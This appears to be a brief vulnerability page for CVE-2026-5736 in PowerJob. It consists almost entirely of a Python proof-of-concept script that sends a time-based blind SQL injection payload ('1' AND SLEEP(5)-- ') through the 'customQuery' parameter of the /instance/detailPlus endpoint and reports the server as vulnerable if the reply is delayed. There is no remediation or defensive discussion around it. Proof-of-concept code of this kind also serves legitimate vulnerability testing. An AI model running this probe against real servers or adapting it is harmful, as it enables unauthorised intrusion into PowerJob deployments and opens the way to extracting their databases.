CVE-2026-5736 PowerJob SQL注入漏洞

import requests # Target URL (Example) target_url = "http://target-ip:7700/instance/detailPlus" # Malicious payload to test SQL injection (Time-based blind) # Testing if the database waits for 5 seconds payload = "1' AND SLEEP(5)-- " params = { "customQuery": payload } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful!") else: print("[-] Vulnerability may not exist or patched.") except Exception as e: print(f"Error occurred: {e}")